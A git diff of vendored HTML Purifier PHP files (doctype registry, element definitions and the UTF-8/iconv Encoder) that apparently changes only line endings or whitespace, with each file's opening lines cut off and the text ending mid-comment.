@@ -1,142 +1,142 @@ -doctypes[$doctype->name] = $doctype; - $name = $doctype->name; - // hookup aliases - foreach ($doctype->aliases as $alias) { - if (isset($this->doctypes[$alias])) { - continue; - } - $this->aliases[$alias] = $name; - } - // remove old aliases - if (isset($this->aliases[$name])) { - unset($this->aliases[$name]); - } - return $doctype; - } - - /** - * Retrieves reference to a doctype of a certain name - * @note This function resolves aliases - * @note When possible, use the more fully-featured make() - * @param string $doctype Name of doctype - * @return HTMLPurifier_Doctype Editable doctype object - */ - public function get($doctype) - { - if (isset($this->aliases[$doctype])) { - $doctype = $this->aliases[$doctype]; - } - if (!isset($this->doctypes[$doctype])) { - trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); - $anon = new HTMLPurifier_Doctype($doctype); - return $anon; - } - return $this->doctypes[$doctype]; - } - - /** - * Creates a doctype based on a configuration object, - * will perform initialization on the doctype - * @note Use this function to get a copy of doctype that config - * can hold on to (this is necessary in order to tell - * Generator whether or not the current document is XML - * based or not). - * @param HTMLPurifier_Config $config - * @return HTMLPurifier_Doctype - */ - public function make($config) - { - return clone $this->get($this->getDoctypeFromConfig($config)); - } - - /** - * Retrieves the doctype from the configuration object - * @param HTMLPurifier_Config $config - * @return string - */ - public function getDoctypeFromConfig($config) - { - // recommended test - $doctype = $config->get('HTML.Doctype'); - if (!empty($doctype)) { - return $doctype; - } - $doctype = $config->get('HTML.CustomDoctype'); - if (!empty($doctype)) { - return $doctype; - } - // backwards-compatibility - if ($config->get('HTML.XHTML')) { - $doctype = 'XHTML 1.0'; - } else { - $doctype = 'HTML 4.01'; - } - if ($config->get('HTML.Strict')) { - $doctype .= ' Strict'; - } else { - $doctype .= ' Transitional'; - } - return $doctype; - } -} - -// vim: et sw=4 sts=4 +doctypes[$doctype->name] = $doctype; + $name = $doctype->name; + // hookup aliases + foreach ($doctype->aliases as $alias) { + if (isset($this->doctypes[$alias])) { + continue; + } + $this->aliases[$alias] = $name; + } + // remove old aliases + if (isset($this->aliases[$name])) { + unset($this->aliases[$name]); + } + return $doctype; + } + + /** + * Retrieves reference to a doctype of a certain name + * @note This function resolves aliases + * @note When possible, use the more fully-featured make() + * @param string $doctype Name of doctype + * @return HTMLPurifier_Doctype Editable doctype object + */ + public function get($doctype) + { + if (isset($this->aliases[$doctype])) { + $doctype = $this->aliases[$doctype]; + } + if (!isset($this->doctypes[$doctype])) { + trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR); + $anon = new HTMLPurifier_Doctype($doctype); + return $anon; + } + return $this->doctypes[$doctype]; + } + + /** + * Creates a doctype based on a configuration object, + * will perform initialization on the doctype + * @note Use this function to get a copy of doctype that config + * can hold on to (this is necessary in order to tell + * Generator whether or not the current document is XML + * based or not). + * @param HTMLPurifier_Config $config + * @return HTMLPurifier_Doctype + */ + public function make($config) + { + return clone $this->get($this->getDoctypeFromConfig($config)); + } + + /** + * Retrieves the doctype from the configuration object + * @param HTMLPurifier_Config $config + * @return string + */ + public function getDoctypeFromConfig($config) + { + // recommended test + $doctype = $config->get('HTML.Doctype'); + if (!empty($doctype)) { + return $doctype; + } + $doctype = $config->get('HTML.CustomDoctype'); + if (!empty($doctype)) { + return $doctype; + } + // backwards-compatibility + if ($config->get('HTML.XHTML')) { + $doctype = 'XHTML 1.0'; + } else { + $doctype = 'HTML 4.01'; + } + if ($config->get('HTML.Strict')) { + $doctype .= ' Strict'; + } else { + $doctype .= ' Transitional'; + } + return $doctype; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php index 089f7efe8f..d5311cedcf 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ElementDef.php @@ -1,216 +1,216 @@ -setup(), this array may also - * contain an array at index 0 that indicates which attribute - * collections to load into the full array. It may also - * contain string indentifiers in lieu of HTMLPurifier_AttrDef, - * see HTMLPurifier_AttrTypes on how they are expanded during - * HTMLPurifier_HTMLDefinition->setup() processing. - */ - public $attr = array(); - - // XXX: Design note: currently, it's not possible to override - // previously defined AttrTransforms without messing around with - // the final generated config. This is by design; a previous version - // used an associated list of attr_transform, but it was extremely - // easy to accidentally override other attribute transforms by - // forgetting to specify an index (and just using 0.) While we - // could check this by checking the index number and complaining, - // there is a second problem which is that it is not at all easy to - // tell when something is getting overridden. Combine this with a - // codebase where this isn't really being used, and it's perfect for - // nuking. - - /** - * List of tags HTMLPurifier_AttrTransform to be done before validation. - * @type array - */ - public $attr_transform_pre = array(); - - /** - * List of tags HTMLPurifier_AttrTransform to be done after validation. - * @type array - */ - public $attr_transform_post = array(); - - /** - * HTMLPurifier_ChildDef of this tag. - * @type HTMLPurifier_ChildDef - */ - public $child; - - /** - * Abstract string representation of internal ChildDef rules. - * @see HTMLPurifier_ContentSets for how this is parsed and then transformed - * into an HTMLPurifier_ChildDef. - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - * @type string - */ - public $content_model; - - /** - * Value of $child->type, used to determine which ChildDef to use, - * used in combination with $content_model. - * @warning This must be lowercase - * @warning This is a temporary variable that is not available after - * being processed by HTMLDefinition - * @type string - */ - public $content_model_type; - - /** - * Does the element have a content model (#PCDATA | Inline)*? This - * is important for chameleon ins and del processing in - * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't - * have to worry about this one. - * @type bool - */ - public $descendants_are_inline = false; - - /** - * List of the names of required attributes this element has. - * Dynamically populated by HTMLPurifier_HTMLDefinition::getElement() - * @type array - */ - public $required_attr = array(); - - /** - * Lookup table of tags excluded from all descendants of this tag. - * @type array - * @note SGML permits exclusions for all descendants, but this is - * not possible with DTDs or XML Schemas. W3C has elected to - * use complicated compositions of content_models to simulate - * exclusion for children, but we go the simpler, SGML-style - * route of flat-out exclusions, which correctly apply to - * all descendants and not just children. Note that the XHTML - * Modularization Abstract Modules are blithely unaware of such - * distinctions. - */ - public $excludes = array(); - - /** - * This tag is explicitly auto-closed by the following tags. - * @type array - */ - public $autoclose = array(); - - /** - * If a foreign element is found in this element, test if it is - * allowed by this sub-element; if it is, instead of closing the - * current element, place it inside this element. - * @type string - */ - public $wrap; - - /** - * Whether or not this is a formatting element affected by the - * "Active Formatting Elements" algorithm. - * @type bool - */ - public $formatting; - - /** - * Low-level factory constructor for creating new standalone element defs - */ - public static function create($content_model, $content_model_type, $attr) - { - $def = new HTMLPurifier_ElementDef(); - $def->content_model = $content_model; - $def->content_model_type = $content_model_type; - $def->attr = $attr; - return $def; - } - - /** - * Merges the values of another element definition into this one. - * Values from the new element def take precedence if a value is - * not mergeable. - * @param HTMLPurifier_ElementDef $def - */ - public function mergeIn($def) - { - // later keys takes precedence - foreach ($def->attr as $k => $v) { - if ($k === 0) { - // merge in the includes - // sorry, no way to override an include - foreach ($v as $v2) { - $this->attr[0][] = $v2; - } - continue; - } - if ($v === false) { - if (isset($this->attr[$k])) { - unset($this->attr[$k]); - } - continue; - } - $this->attr[$k] = $v; - } - $this->_mergeAssocArray($this->excludes, $def->excludes); - $this->attr_transform_pre = array_merge($this->attr_transform_pre, $def->attr_transform_pre); - $this->attr_transform_post = array_merge($this->attr_transform_post, $def->attr_transform_post); - - if (!empty($def->content_model)) { - $this->content_model = - str_replace("#SUPER", $this->content_model, $def->content_model); - $this->child = false; - } - if (!empty($def->content_model_type)) { - $this->content_model_type = $def->content_model_type; - $this->child = false; - } - if (!is_null($def->child)) { - $this->child = $def->child; - } - if (!is_null($def->formatting)) { - $this->formatting = $def->formatting; - } - if ($def->descendants_are_inline) { - $this->descendants_are_inline = $def->descendants_are_inline; - } - } - - /** - * Merges one array into another, removes values which equal false - * @param $a1 Array by reference that is merged into - * @param $a2 Array that merges into $a1 - */ - private function _mergeAssocArray(&$a1, $a2) - { - foreach ($a2 as $k => $v) { - if ($v === false) { - if (isset($a1[$k])) { - unset($a1[$k]); - } - continue; - } - $a1[$k] = $v; - } - } -} - -// vim: et sw=4 sts=4 +setup(), this array may also + * contain an array at index 0 that indicates which attribute + * collections to load into the full array. It may also + * contain string indentifiers in lieu of HTMLPurifier_AttrDef, + * see HTMLPurifier_AttrTypes on how they are expanded during + * HTMLPurifier_HTMLDefinition->setup() processing. + */ + public $attr = array(); + + // XXX: Design note: currently, it's not possible to override + // previously defined AttrTransforms without messing around with + // the final generated config. This is by design; a previous version + // used an associated list of attr_transform, but it was extremely + // easy to accidentally override other attribute transforms by + // forgetting to specify an index (and just using 0.) While we + // could check this by checking the index number and complaining, + // there is a second problem which is that it is not at all easy to + // tell when something is getting overridden. Combine this with a + // codebase where this isn't really being used, and it's perfect for + // nuking. + + /** + * List of tags HTMLPurifier_AttrTransform to be done before validation. + * @type array + */ + public $attr_transform_pre = array(); + + /** + * List of tags HTMLPurifier_AttrTransform to be done after validation. + * @type array + */ + public $attr_transform_post = array(); + + /** + * HTMLPurifier_ChildDef of this tag. + * @type HTMLPurifier_ChildDef + */ + public $child; + + /** + * Abstract string representation of internal ChildDef rules. + * @see HTMLPurifier_ContentSets for how this is parsed and then transformed + * into an HTMLPurifier_ChildDef. + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + * @type string + */ + public $content_model; + + /** + * Value of $child->type, used to determine which ChildDef to use, + * used in combination with $content_model. + * @warning This must be lowercase + * @warning This is a temporary variable that is not available after + * being processed by HTMLDefinition + * @type string + */ + public $content_model_type; + + /** + * Does the element have a content model (#PCDATA | Inline)*? This + * is important for chameleon ins and del processing in + * HTMLPurifier_ChildDef_Chameleon. Dynamically set: modules don't + * have to worry about this one. + * @type bool + */ + public $descendants_are_inline = false; + + /** + * List of the names of required attributes this element has. + * Dynamically populated by HTMLPurifier_HTMLDefinition::getElement() + * @type array + */ + public $required_attr = array(); + + /** + * Lookup table of tags excluded from all descendants of this tag. + * @type array + * @note SGML permits exclusions for all descendants, but this is + * not possible with DTDs or XML Schemas. W3C has elected to + * use complicated compositions of content_models to simulate + * exclusion for children, but we go the simpler, SGML-style + * route of flat-out exclusions, which correctly apply to + * all descendants and not just children. Note that the XHTML + * Modularization Abstract Modules are blithely unaware of such + * distinctions. + */ + public $excludes = array(); + + /** + * This tag is explicitly auto-closed by the following tags. + * @type array + */ + public $autoclose = array(); + + /** + * If a foreign element is found in this element, test if it is + * allowed by this sub-element; if it is, instead of closing the + * current element, place it inside this element. + * @type string + */ + public $wrap; + + /** + * Whether or not this is a formatting element affected by the + * "Active Formatting Elements" algorithm. + * @type bool + */ + public $formatting; + + /** + * Low-level factory constructor for creating new standalone element defs + */ + public static function create($content_model, $content_model_type, $attr) + { + $def = new HTMLPurifier_ElementDef(); + $def->content_model = $content_model; + $def->content_model_type = $content_model_type; + $def->attr = $attr; + return $def; + } + + /** + * Merges the values of another element definition into this one. + * Values from the new element def take precedence if a value is + * not mergeable. + * @param HTMLPurifier_ElementDef $def + */ + public function mergeIn($def) + { + // later keys takes precedence + foreach ($def->attr as $k => $v) { + if ($k === 0) { + // merge in the includes + // sorry, no way to override an include + foreach ($v as $v2) { + $this->attr[0][] = $v2; + } + continue; + } + if ($v === false) { + if (isset($this->attr[$k])) { + unset($this->attr[$k]); + } + continue; + } + $this->attr[$k] = $v; + } + $this->_mergeAssocArray($this->excludes, $def->excludes); + $this->attr_transform_pre = array_merge($this->attr_transform_pre, $def->attr_transform_pre); + $this->attr_transform_post = array_merge($this->attr_transform_post, $def->attr_transform_post); + + if (!empty($def->content_model)) { + $this->content_model = + str_replace("#SUPER", $this->content_model, $def->content_model); + $this->child = false; + } + if (!empty($def->content_model_type)) { + $this->content_model_type = $def->content_model_type; + $this->child = false; + } + if (!is_null($def->child)) { + $this->child = $def->child; + } + if (!is_null($def->formatting)) { + $this->formatting = $def->formatting; + } + if ($def->descendants_are_inline) { + $this->descendants_are_inline = $def->descendants_are_inline; + } + } + + /** + * Merges one array into another, removes values which equal false + * @param $a1 Array by reference that is merged into + * @param $a2 Array that merges into $a1 + */ + private function _mergeAssocArray(&$a1, $a2) + { + foreach ($a2 as $k => $v) { + if ($v === false) { + if (isset($a1[$k])) { + unset($a1[$k]); + } + continue; + } + $a1[$k] = $v; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php index f6e45523cb..40a24266a4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Encoder.php @@ -1,617 +1,617 @@ -= $c) { - $r .= self::unsafeIconv($in, $out, substr($text, $i)); - break; - } - // wibble the boundary - if (0x80 != (0xC0 & ord($text[$i + $max_chunk_size]))) { - $chunk_size = $max_chunk_size; - } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 1]))) { - $chunk_size = $max_chunk_size - 1; - } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 2]))) { - $chunk_size = $max_chunk_size - 2; - } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 3]))) { - $chunk_size = $max_chunk_size - 3; - } else { - return false; // rather confusing UTF-8... - } - $chunk = substr($text, $i, $chunk_size); // substr doesn't mind overlong lengths - $r .= self::unsafeIconv($in, $out, $chunk); - $i += $chunk_size; - } - return $r; - } else { - return false; - } - } else { - return false; - } - } - - /** - * Cleans a UTF-8 string for well-formedness and SGML validity - * - * It will parse according to UTF-8 and return a valid UTF8 string, with - * non-SGML codepoints excluded. - * - * Specifically, it will permit: - * \x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF} - * Source: https://www.w3.org/TR/REC-xml/#NT-Char - * Arguably this function should be modernized to the HTML5 set - * of allowed characters: - * https://www.w3.org/TR/html5/syntax.html#preprocessing-the-input-stream - * which simultaneously expand and restrict the set of allowed characters. - * - * @param string $str The string to clean - * @param bool $force_php - * @return string - * - * @note Just for reference, the non-SGML code points are 0 to 31 and - * 127 to 159, inclusive. However, we allow code points 9, 10 - * and 13, which are the tab, line feed and carriage return - * respectively. 128 and above the code points map to multibyte - * UTF-8 representations. - * - * @note Fallback code adapted from utf8ToUnicode by Henri Sivonen and - * hsivonen@iki.fi at under the - * LGPL license. Notes on what changed are inside, but in general, - * the original code transformed UTF-8 text into an array of integer - * Unicode codepoints. Understandably, transforming that back to - * a string would be somewhat expensive, so the function was modded to - * directly operate on the string. However, this discourages code - * reuse, and the logic enumerated here would be useful for any - * function that needs to be able to understand UTF-8 characters. - * As of right now, only smart lossless character encoding converters - * would need that, and I'm probably not going to implement them. - */ - public static function cleanUTF8($str, $force_php = false) - { - // UTF-8 validity is checked since PHP 4.3.5 - // This is an optimization: if the string is already valid UTF-8, no - // need to do PHP stuff. 99% of the time, this will be the case. - if (preg_match( - '/^[\x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]*$/Du', - $str - )) { - return $str; - } - - $mState = 0; // cached expected number of octets after the current octet - // until the beginning of the next UTF8 character sequence - $mUcs4 = 0; // cached Unicode character - $mBytes = 1; // cached expected number of octets in the current sequence - - // original code involved an $out that was an array of Unicode - // codepoints. Instead of having to convert back into UTF-8, we've - // decided to directly append valid UTF-8 characters onto a string - // $out once they're done. $char accumulates raw bytes, while $mUcs4 - // turns into the Unicode code point, so there's some redundancy. - - $out = ''; - $char = ''; - - $len = strlen($str); - for ($i = 0; $i < $len; $i++) { - $in = ord($str[$i]); - $char .= $str[$i]; // append byte to char - if (0 == $mState) { - // When mState is zero we expect either a US-ASCII character - // or a multi-octet sequence. - if (0 == (0x80 & ($in))) { - // US-ASCII, pass straight through. - if (($in <= 31 || $in == 127) && - !($in == 9 || $in == 13 || $in == 10) // save \r\t\n - ) { - // control characters, remove - } else { - $out .= $char; - } - // reset - $char = ''; - $mBytes = 1; - } elseif (0xC0 == (0xE0 & ($in))) { - // First octet of 2 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x1F) << 6; - $mState = 1; - $mBytes = 2; - } elseif (0xE0 == (0xF0 & ($in))) { - // First octet of 3 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x0F) << 12; - $mState = 2; - $mBytes = 3; - } elseif (0xF0 == (0xF8 & ($in))) { - // First octet of 4 octet sequence - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x07) << 18; - $mState = 3; - $mBytes = 4; - } elseif (0xF8 == (0xFC & ($in))) { - // First octet of 5 octet sequence. - // - // This is illegal because the encoded codepoint must be - // either: - // (a) not the shortest form or - // (b) outside the Unicode range of 0-0x10FFFF. - // Rather than trying to resynchronize, we will carry on - // until the end of the sequence and let the later error - // handling code catch it. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 0x03) << 24; - $mState = 4; - $mBytes = 5; - } elseif (0xFC == (0xFE & ($in))) { - // First octet of 6 octet sequence, see comments for 5 - // octet sequence. - $mUcs4 = ($in); - $mUcs4 = ($mUcs4 & 1) << 30; - $mState = 5; - $mBytes = 6; - } else { - // Current octet is neither in the US-ASCII range nor a - // legal first octet of a multi-octet sequence. - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // When mState is non-zero, we expect a continuation of the - // multi-octet sequence - if (0x80 == (0xC0 & ($in))) { - // Legal continuation. - $shift = ($mState - 1) * 6; - $tmp = $in; - $tmp = ($tmp & 0x0000003F) << $shift; - $mUcs4 |= $tmp; - - if (0 == --$mState) { - // End of the multi-octet sequence. mUcs4 now contains - // the final Unicode codepoint to be output - - // Check for illegal sequences and codepoints. - - // From Unicode 3.1, non-shortest form is illegal - if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || - ((3 == $mBytes) && ($mUcs4 < 0x0800)) || - ((4 == $mBytes) && ($mUcs4 < 0x10000)) || - (4 < $mBytes) || - // From Unicode 3.2, surrogate characters = illegal - (($mUcs4 & 0xFFFFF800) == 0xD800) || - // Codepoints outside the Unicode range are illegal - ($mUcs4 > 0x10FFFF) - ) { - - } elseif (0xFEFF != $mUcs4 && // omit BOM - // check for valid Char unicode codepoints - ( - 0x9 == $mUcs4 || - 0xA == $mUcs4 || - 0xD == $mUcs4 || - (0x20 <= $mUcs4 && 0x7E >= $mUcs4) || - // 7F-9F is not strictly prohibited by XML, - // but it is non-SGML, and thus we don't allow it - (0xA0 <= $mUcs4 && 0xD7FF >= $mUcs4) || - (0xE000 <= $mUcs4 && 0xFFFD >= $mUcs4) || - (0x10000 <= $mUcs4 && 0x10FFFF >= $mUcs4) - ) - ) { - $out .= $char; - } - // initialize UTF8 cache (reset) - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char = ''; - } - } else { - // ((0xC0 & (*in) != 0x80) && (mState != 0)) - // Incomplete multi-octet sequence. - // used to result in complete fail, but we'll reset - $mState = 0; - $mUcs4 = 0; - $mBytes = 1; - $char =''; - } - } - } - return $out; - } - - /** - * Translates a Unicode codepoint into its corresponding UTF-8 character. - * @note Based on Feyd's function at - * , - * which is in public domain. - * @note While we're going to do code point parsing anyway, a good - * optimization would be to refuse to translate code points that - * are non-SGML characters. However, this could lead to duplication. - * @note This is very similar to the unichr function in - * maintenance/generate-entity-file.php (although this is superior, - * due to its sanity checks). - */ - - // +----------+----------+----------+----------+ - // | 33222222 | 22221111 | 111111 | | - // | 10987654 | 32109876 | 54321098 | 76543210 | bit - // +----------+----------+----------+----------+ - // | | | | 0xxxxxxx | 1 byte 0x00000000..0x0000007F - // | | | 110yyyyy | 10xxxxxx | 2 byte 0x00000080..0x000007FF - // | | 1110zzzz | 10yyyyyy | 10xxxxxx | 3 byte 0x00000800..0x0000FFFF - // | 11110www | 10wwzzzz | 10yyyyyy | 10xxxxxx | 4 byte 0x00010000..0x0010FFFF - // +----------+----------+----------+----------+ - // | 00000000 | 00011111 | 11111111 | 11111111 | Theoretical upper limit of legal scalars: 2097151 (0x001FFFFF) - // | 00000000 | 00010000 | 11111111 | 11111111 | Defined upper limit of legal scalar codes - // +----------+----------+----------+----------+ - - public static function unichr($code) - { - if ($code > 1114111 or $code < 0 or - ($code >= 55296 and $code <= 57343) ) { - // bits are set outside the "valid" range as defined - // by UNICODE 4.1.0 - return ''; - } - - $x = $y = $z = $w = 0; - if ($code < 128) { - // regular ASCII character - $x = $code; - } else { - // set up bits for UTF-8 - $x = ($code & 63) | 128; - if ($code < 2048) { - $y = (($code & 2047) >> 6) | 192; - } else { - $y = (($code & 4032) >> 6) | 128; - if ($code < 65536) { - $z = (($code >> 12) & 15) | 224; - } else { - $z = (($code >> 12) & 63) | 128; - $w = (($code >> 18) & 7) | 240; - } - } - } - // set up the actual character - $ret = ''; - if ($w) { - $ret .= chr($w); - } - if ($z) { - $ret .= chr($z); - } - if ($y) { - $ret .= chr($y); - } - $ret .= chr($x); - - return $ret; - } - - /** - * @return bool - */ - public static function iconvAvailable() - { - static $iconv = null; - if ($iconv === null) { - $iconv = function_exists('iconv') && self::testIconvTruncateBug() != self::ICONV_UNUSABLE; - } - return $iconv; - } - - /** - * Convert a string to UTF-8 based on configuration. - * @param string $str The string to convert - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return string - */ - public static function convertToUTF8($str, $config, $context) - { - $encoding = $config->get('Core.Encoding'); - if ($encoding === 'utf-8') { - return $str; - } - static $iconv = null; - if ($iconv === null) { - $iconv = self::iconvAvailable(); - } - if ($iconv && !$config->get('Test.ForceNoIconv')) { - // unaffected by bugs, since UTF-8 support all characters - $str = self::unsafeIconv($encoding, 'utf-8//IGNORE', $str); - if ($str === false) { - // $encoding is not a valid encoding - trigger_error('Invalid encoding ' . $encoding, E_USER_ERROR); - return ''; - } - // If the string is bjorked by Shift_JIS or a similar encoding - // that doesn't support all of ASCII, convert the naughty - // characters to their true byte-wise ASCII/UTF-8 equivalents. - $str = strtr($str, self::testEncodingSupportsASCII($encoding)); - return $str; - } elseif ($encoding === 'iso-8859-1') { - $str = utf8_encode($str); - return $str; - } - $bug = HTMLPurifier_Encoder::testIconvTruncateBug(); - if ($bug == self::ICONV_OK) { - trigger_error('Encoding not supported, please install iconv', E_USER_ERROR); - } else { - trigger_error( - 'You have a buggy version of iconv, see https://bugs.php.net/bug.php?id=48147 ' . - 'and http://sourceware.org/bugzilla/show_bug.cgi?id=13541', - E_USER_ERROR - ); - } - } - - /** - * Converts a string from UTF-8 based on configuration. - * @param string $str The string to convert - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return string - * @note Currently, this is a lossy conversion, with unexpressable - * characters being omitted. - */ - public static function convertFromUTF8($str, $config, $context) - { - $encoding = $config->get('Core.Encoding'); - if ($escape = $config->get('Core.EscapeNonASCIICharacters')) { - $str = self::convertToASCIIDumbLossless($str); - } - if ($encoding === 'utf-8') { - return $str; - } - static $iconv = null; - if ($iconv === null) { - $iconv = self::iconvAvailable(); - } - if ($iconv && !$config->get('Test.ForceNoIconv')) { - // Undo our previous fix in convertToUTF8, otherwise iconv will barf - $ascii_fix = self::testEncodingSupportsASCII($encoding); - if (!$escape && !empty($ascii_fix)) { - $clear_fix = array(); - foreach ($ascii_fix as $utf8 => $native) { - $clear_fix[$utf8] = ''; - } - $str = strtr($str, $clear_fix); - } - $str = strtr($str, array_flip($ascii_fix)); - // Normal stuff - $str = self::iconv('utf-8', $encoding . '//IGNORE', $str); - return $str; - } elseif ($encoding === 'iso-8859-1') { - $str = utf8_decode($str); - return $str; - } - trigger_error('Encoding not supported', E_USER_ERROR); - // You might be tempted to assume that the ASCII representation - // might be OK, however, this is *not* universally true over all - // encodings. So we take the conservative route here, rather - // than forcibly turn on %Core.EscapeNonASCIICharacters - } - - /** - * Lossless (character-wise) conversion of HTML to ASCII - * @param string $str UTF-8 string to be converted to ASCII - * @return string ASCII encoded string with non-ASCII character entity-ized - * @warning Adapted from MediaWiki, claiming fair use: this is a common - * algorithm. If you disagree with this license fudgery, - * implement it yourself. - * @note Uses decimal numeric entities since they are best supported. - * @note This is a DUMB function: it has no concept of keeping - * character entities that the projected character encoding - * can allow. We could possibly implement a smart version - * but that would require it to also know which Unicode - * codepoints the charset supported (not an easy task). - * @note Sort of with cleanUTF8() but it assumes that $str is - * well-formed UTF-8 - */ - public static function convertToASCIIDumbLossless($str) - { - $bytesleft = 0; - $result = ''; - $working = 0; - $len = strlen($str); - for ($i = 0; $i < $len; $i++) { - $bytevalue = ord($str[$i]); - if ($bytevalue <= 0x7F) { //0xxx xxxx - $result .= chr($bytevalue); - $bytesleft = 0; - } elseif ($bytevalue <= 0xBF) { //10xx xxxx - $working = $working << 6; - $working += ($bytevalue & 0x3F); - $bytesleft--; - if ($bytesleft <= 0) { - $result .= "&#" . $working . ";"; - } - } elseif ($bytevalue <= 0xDF) { //110x xxxx - $working = $bytevalue & 0x1F; - $bytesleft = 1; - } elseif ($bytevalue <= 0xEF) { //1110 xxxx - $working = $bytevalue & 0x0F; - $bytesleft = 2; - } else { //1111 0xxx - $working = $bytevalue & 0x07; - $bytesleft = 3; - } - } - return $result; - } - - /** No bugs detected in iconv. */ - const ICONV_OK = 0; - - /** Iconv truncates output if converting from UTF-8 to another - * character set with //IGNORE, and a non-encodable character is found */ - const ICONV_TRUNCATES = 1; - - /** Iconv does not support //IGNORE, making it unusable for - * transcoding purposes */ - const ICONV_UNUSABLE = 2; - - /** - * glibc iconv has a known bug where it doesn't handle the magic - * //IGNORE stanza correctly. In particular, rather than ignore - * characters, it will return an EILSEQ after consuming some number - * of characters, and expect you to restart iconv as if it were - * an E2BIG. Old versions of PHP did not respect the errno, and - * returned the fragment, so as a result you would see iconv - * mysteriously truncating output. We can work around this by - * manually chopping our input into segments of about 8000 - * characters, as long as PHP ignores the error code. If PHP starts - * paying attention to the error code, iconv becomes unusable. - * - * @return int Error code indicating severity of bug. - */ - public static function testIconvTruncateBug() - { - static $code = null; - if ($code === null) { - // better not use iconv, otherwise infinite loop! - $r = self::unsafeIconv('utf-8', 'ascii//IGNORE', "\xCE\xB1" . str_repeat('a', 9000)); - if ($r === false) { - $code = self::ICONV_UNUSABLE; - } elseif (($c = strlen($r)) < 9000) { - $code = self::ICONV_TRUNCATES; - } elseif ($c > 9000) { - trigger_error( - 'Your copy of iconv is extremely buggy. Please notify HTML Purifier maintainers: ' . - 'include your iconv version as per phpversion()', - E_USER_ERROR - ); - } else { - $code = self::ICONV_OK; - } - } - return $code; - } - - /** - * This expensive function tests whether or not a given character - * encoding supports ASCII. 7/8-bit encodings like Shift_JIS will - * fail this test, and require special processing. Variable width - * encodings shouldn't ever fail. - * - * @param string $encoding Encoding name to test, as per iconv format - * @param bool $bypass Whether or not to bypass the precompiled arrays. - * @return Array of UTF-8 characters to their corresponding ASCII, - * which can be used to "undo" any overzealous iconv action. - */ - public static function testEncodingSupportsASCII($encoding, $bypass = false) - { - // All calls to iconv here are unsafe, proof by case analysis: - // If ICONV_OK, no difference. - // If ICONV_TRUNCATE, all calls involve one character inputs, - // so bug is not triggered. - // If ICONV_UNUSABLE, this call is irrelevant - static $encodings = array(); - if (!$bypass) { - if (isset($encodings[$encoding])) { - return $encodings[$encoding]; - } - $lenc = strtolower($encoding); - switch ($lenc) { - case 'shift_jis': - return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~'); - case 'johab': - return array("\xE2\x82\xA9" => '\\'); - } - if (strpos($lenc, 'iso-8859-') === 0) { - return array(); - } - } - $ret = array(); - if (self::unsafeIconv('UTF-8', $encoding, 'a') === false) { - return false; - } - for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars - $c = chr($i); // UTF-8 char - $r = self::unsafeIconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion - if ($r === '' || - // This line is needed for iconv implementations that do not - // omit characters that do not exist in the target character set - ($r === $c && self::unsafeIconv($encoding, 'UTF-8//IGNORE', $r) !== $c) - ) { - // Reverse engineer: what's the UTF-8 equiv of this byte - // sequence? This assumes that there's no variable width - // encoding that doesn't support ASCII. - $ret[self::unsafeIconv($encoding, 'UTF-8//IGNORE', $c)] = $c; - } - } - $encodings[$encoding] = $ret; - return $ret; - } -} - -// vim: et sw=4 sts=4 += $c) { + $r .= self::unsafeIconv($in, $out, substr($text, $i)); + break; + } + // wibble the boundary + if (0x80 != (0xC0 & ord($text[$i + $max_chunk_size]))) { + $chunk_size = $max_chunk_size; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 1]))) { + $chunk_size = $max_chunk_size - 1; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 2]))) { + $chunk_size = $max_chunk_size - 2; + } elseif (0x80 != (0xC0 & ord($text[$i + $max_chunk_size - 3]))) { + $chunk_size = $max_chunk_size - 3; + } else { + return false; // rather confusing UTF-8... + } + $chunk = substr($text, $i, $chunk_size); // substr doesn't mind overlong lengths + $r .= self::unsafeIconv($in, $out, $chunk); + $i += $chunk_size; + } + return $r; + } else { + return false; + } + } else { + return false; + } + } + + /** + * Cleans a UTF-8 string for well-formedness and SGML validity + * + * It will parse according to UTF-8 and return a valid UTF8 string, with + * non-SGML codepoints excluded. + * + * Specifically, it will permit: + * \x{9}\x{A}\x{D}\x{20}-\x{7E}\x{A0}-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF} + * Source: https://www.w3.org/TR/REC-xml/#NT-Char + * Arguably this function should be modernized to the HTML5 set + * of allowed characters: + * https://www.w3.org/TR/html5/syntax.html#preprocessing-the-input-stream + * which 